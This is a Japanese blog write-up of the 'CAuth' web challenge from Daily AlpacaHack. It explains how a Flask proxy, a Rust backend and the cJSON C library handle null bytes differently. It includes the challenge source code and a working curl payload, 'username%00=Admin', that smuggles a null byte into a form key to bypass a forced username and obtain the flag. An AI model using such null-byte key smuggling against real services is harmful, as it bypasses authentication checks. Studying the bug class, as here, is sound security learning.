Post

FEAT:🚩 Daily-AlpacaHack 「CAuth」Hard

言語間でのNULL終端文字の取り扱いを利用したロジックバイパス

FEAT:🚩 Daily-AlpacaHack 「CAuth」Hard

20260614-daily_alpaca-web-hard-c_auth

Summary

本問は,言語間でのNULL終端文字の取り扱いを利用したロジックバイパスに関する問題です.

  • Category: Web
  • Description: ユーザー名はランダムのはずです
  • Tools & TechStack:
    • Rust
    • C
    • Python
    • JSON
  • Release: 2026/06/14

階層構造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
.
├── backend
│   ├── Cargo.lock
│   ├── Cargo.toml
│   ├── Dockerfile
│   └── src
│       └── main.rs
├── compose.yaml
└── proxy
    ├── app.py
    ├── Dockerfile
    └── requirements.txt

4 directories, 8 files

ソースコードの調査

Python(Flask)のProxy実装の調査

キー名が username 以外 (if key != "username" が真になる) の場合と,username そのものの場合で,バックエンドに送られるデータが変わっています.

proxy/app.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from flask import Flask, jsonify, request
import requests
import secrets
import json # DEBUG


BACKEND_URL = "http://backend:3001/"

app = Flask(__name__)


@app.get("/")
def index():
    host = request.headers.get("host", "localhost:3000")
    return f'Example: curl --data-urlencode "custom=value" http://{host}', 200, {'Content-Type': 'text/plain'}

# データの中継と書き換え
@app.post("/")
def index_post():
    payload = {}
    for key, value in request.form.items():
        print(f"[DEBUG] key={key!r}, value={value!r}", flush=True) # DEBUG: NULL終端文字を含み表示
        # 送信されたキー名が username 以外の場合の処理
        if key != "username":
            payload[f"{key}-custom"] = value
    
    # username から始まる場合は,入力値を無視して,user- から始まるランダムな16文字を割り当て
    payload["username"] = f"user-{secrets.token_hex(8)}"

    print(json.dumps(payload, ensure_ascii=False, indent=2)) # DEBUG: 実際に送信されるシリアライズJSONを表示

    # 書き換えたデータをJSONにしてAxumサーバにPOST
    upstream = requests.post(BACKEND_URL, json=payload, timeout=5)
    # Axumサーバからのレスポンスをそのままクライアントに送る
    return (
        upstream.content,
        upstream.status_code,
        {"Content-Type": upstream.headers.get("Content-Type", "application/json")},
    )


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=3000)

1. key != "username" の時 (例: custom=value)

username 以外のキーを送った場合,キー名の後ろに -custom が自動で付与され,さらにランダムな username が生成されてバックエンドへ送られます.

curl --data-urlencode "custom=value" http://172.20.0.1:3000

1
2
3
4
{
  "custom-custom": "value",
  "username": "user-a1b2c3d4e5f6f7g8" 
}

2. key == "username" の時 (例: username=Admin)

キー名を username にして送った場合,コード内の if key != "username": の条件から外れるため,-custom は付与されません. さらに,送信した値 (例: Admin) は無視され,強制的にランダムな値で上書きされます.

curl --data-urlencode "username=Admin" http://172.20.0.1:3000

1
2
3
{
  "username": "user-9f8e7d6c5b4a3f2e"
}

Rust(Axum)実装の調査

ヒントには,「C言語の文字列の表現方法の特徴は、Pythonと比べて何が違うでしょうか」 と記載されているので,PythonのProxyAxumサーバ側で使用されているCJson bindings (C言語製) 内部の文字列表現の差を利用して処理をバイパスするのではないかと推測しました.
そこで,思いついたのは NULL終端文字 \0 の取り扱いです. Pythonでは,\0 があっても構わず処理しますが,Cでは,\0 で文字の読み込み等の諸々の操作を終了します.

usernameAdmin であれば Flag が入手できますが,username=Admin とすると送信値は無視され強制的に上書きされてしまいます.
また,curl --data-urlencode "username=Admin" --data-urlencode "username=Guest" http://172.20.0.1:3000 のように,複数送る場合は,最初に指定したデータのみ送信されることも判明しました.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
use axum::{
    Router,
    extract::DefaultBodyLimit,
    http::{HeaderMap, HeaderValue, StatusCode, header},
    response::{IntoResponse, Response},
    routing::post,
};
use cjson_binding::CJson;
use tokio::net::TcpListener;

#[tokio::main]
async fn main() {
    let app = Router::new()
        .route("/", post(index))
        .layer(DefaultBodyLimit::max(1024 * 1024));

    let listener = TcpListener::bind("0.0.0.0:3001").await.unwrap();
    axum::serve(listener, app).await.unwrap();
}

async fn index(body: axum::body::Bytes) -> Response {
    let input = match std::str::from_utf8(&body) {
        Ok(input) => input,
        Err(_) => {
            return json_response(
                StatusCode::BAD_REQUEST,
                r#"{"error":"request body must be UTF-8 JSON"}"#.to_string(),
            );
        }
    };
    println!("input: {:?}", input);

    let parsed = match CJson::parse(input) {
        Ok(parsed) => parsed,
        Err(err) => {
            return json_response(
                StatusCode::BAD_REQUEST,
                format!(r#"{{"error":"{}"}}"#, escape_json_string(&err.to_string())),
            );
        }
    };

    let subject_result = parsed
        .get_object_item("username")
        .and_then(|item| item.get_string_value());
    parsed.drop();
    println!("subject_result: {:?}", subject_result); // DEBUG

    let username = match subject_result {
        Ok(username) => username,
        Err(_) => {
            return json_response(
                StatusCode::BAD_REQUEST,
                r#"{"error":"username must be a string"}"#.to_string(),
            );
        }
    };
    println!("username: {:?}", username); // DEBUG

    let escaped_username = escape_json_string(&username);
    // usernameがAdminであればFlag入手
    let body = if username == "Admin" {
        let flag = std::env::var("FLAG").unwrap_or_default();
        format!(
            r#"{{"message":"hello, {escaped_username}","flag":"{}"}}"#,
            escape_json_string(&flag)
        )
    } else {
        format!(r#"{{"message":"hello, {escaped_username}"}}"#)
    };

    json_response(StatusCode::OK, body)
}

fn json_response(status: StatusCode, body: String) -> Response {
    let mut headers = HeaderMap::new();
    headers.insert(
        header::CONTENT_TYPE,
        HeaderValue::from_static("application/json; charset=utf-8"),
    );
    (status, headers, body).into_response()
}

fn escape_json_string(input: &str) -> String {
    // \を\\に置き換え,"を\"に置き換え
    input.replace('\\', "\\\\").replace('"', "\\\"")
}

NULL終端文字の取り扱いの差異を利用したロジックバイパス

username%00=Admin というペイロードを考えます.

%00 は ヌルバイト(0x00) をURLエンコードしたものです.Python(Flask)はこれをデコードし,生のヌルバイト(\x00)として受け取ります.

Python (Flask)

Pythonは,このペイロードを key='username\x00', value='Admin' のように,key を生のヌルバイトを含む文字列として扱います.
ここで,"username\x00" != "username" が成り立つので,key の後ろに -custom サフィックスが付与され,key = "username\x00-custom" となります.
また,RFC 8259 JSONの仕様上,制御文字 (\x00) はエスケープしなければならないため,Axumサーバーに送信されるHTTPボディの文字列は,以下になります.(\u0000 はNULL終端文字のUnicodeエスケープ)

Axumサーバに送信されるJSON

1
2
3
4
{
 "username\u0000-custom": "Admin",
 "username": "user-da18a94d891d4e3f"
}

Rust (Axum, cjson_binding)

CJson::parse() の内部実装は以下のようになっています. alloc::ffi::CString は,RustでC言語の文字列を表現するためのものであり,parse 時に,\x00 が含まれる文字列を二重終端を防ぐために拒否します. しかし,今回送られてきたのは,\u0000 というただの文字列なため,JSONのパースは正常に行われ,そのままCの cJSON_Parse に渡されます.

1
2
3
4
5
6
/// Parse a JSON string
pub fn parse(json: &str) -> CJsonResult<Self> {
    let c_str = CString::new(json).map_err(|_| CJsonError::InvalidUtf8)?;
    let ptr = unsafe { cJSON_Parse(c_str.as_ptr()) };
    unsafe { Self::from_ptr(ptr) }
}

C (cJson)

C言語の cJSON_Parse はJSON文字列を読み込む際,エスケープシーケンス (\u0000) を見つけると,メモリ上で本来の制御文字 \0 にアンエスケープして格納してしまいます.
よって,C言語のメモリ上でこの keyusername\0-custom\0 となります.

その後,parsed.get_object_item("username") が行われる際に,Rustの get_object_item() は内部で,Cの cJSON_GetObjectItem() を呼び出します.

cjson_bindingクレートでのget_object_item()1の実装

1
2
3
4
5
6
7
8
9
/// Get object item by key (borrowed reference)
pub fn get_object_item(&self, key: &str) -> CJsonResult<CJsonRef> {
    if !self.is_object() {
        return Err(CJsonError::TypeError);
    }
    let c_key = CString::new(key).map_err(|_| CJsonError::InvalidUtf8)?;
    let ptr = unsafe { cJSON_GetObjectItem(self.ptr, c_key.as_ptr()) };
    unsafe { CJsonRef::from_ptr(ptr) }.map_err(|_| CJsonError::NotFound)
}

この関数の内部に存在する *get_object_item() は,cJSONのオブジェクトを連結リストで管理し,先頭から線形探索で一致するキーを探索しています.
また,内部で strcmp() と同等の関数を呼び出しているため,引数に渡されたポインタから順にバイトを比較し,どちらかが最初に \0 に到達した時点で比較を終了 します.

"username""username\0-custom" を比較します.

  1. \0 を見た時点で,その先のメモリに -custom という文字列が続いていようと関係なく,同じ文字列であると判断して 差分無し (0) を返します.
  2. != 0 の条件が偽となり,while ループを即座に脱出し,return current_element; によってその時点で参照している要素 (Admin) が返ります.

これによって,後方に位置している正規のキー "username": "user-xxxx" の要素 (current_element->next) が評価されないため,ユーザ名が Admin と一致しフラグが表示されます.

cJsonライブラリでのcJSON_GetObjectItem()2の実装

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
CJSON_PUBLIC(cJSON *) cJSON_GetObjectItem(const cJSON * const object, const char * const string)
{
    return get_object_item(object, string, false);
}

static cJSON *get_object_item(const cJSON * const object, const char * const name, const cJSON_bool case_sensitive)
{
    cJSON *current_element = NULL;

    if ((object == NULL) || (name == NULL))
    {
        return NULL;
    }

    current_element = object->child;
    if (case_sensitive)
    {
        while ((current_element != NULL) && (current_element->string != NULL) && (strcmp(name, current_element->string) != 0))
        {
            current_element = current_element->next;
        }
    }
    else
    {
        while ((current_element != NULL) && (case_insensitive_strcmp((const unsigned char*)name, (const unsigned char*)(current_element->string)) != 0))
        {
            current_element = current_element->next;
        }
    }

    if ((current_element == NULL) || (current_element->string == NULL)) {
        return NULL;
    }

    return current_element;
}

Exploitation

1
2
$ curl --data-urlencode "username%00=Admin" http://172.20.0.1:3000  
{"message":"hello, Admin","flag":"Alpaca{REDACTED}"}% 

Flaskサーバログ

1
2
3
4
5
proxy-1  | [DEBUG] key='username\x00', value='Admin'
proxy-1  | {
proxy-1  |   "username\u0000-custom": "Admin",
proxy-1  |   "username": "user-c5d281d32ff13ec9"
proxy-1  | }

Axumサーバログ

1
2
3
backend-1  | input: "{\"username\\u0000-custom\": \"Admin\", \"username\": \"user-fcbfed7c6f4b4b5b\"}"
backend-1  | subject_result: Ok("Admin")
backend-1  | username: "Admin"

Post-Mortem & Dead ends

この問題,最近解いた問題の中で一番好きかもしれない…

References

This post is licensed under CC BY 4.0 by the author.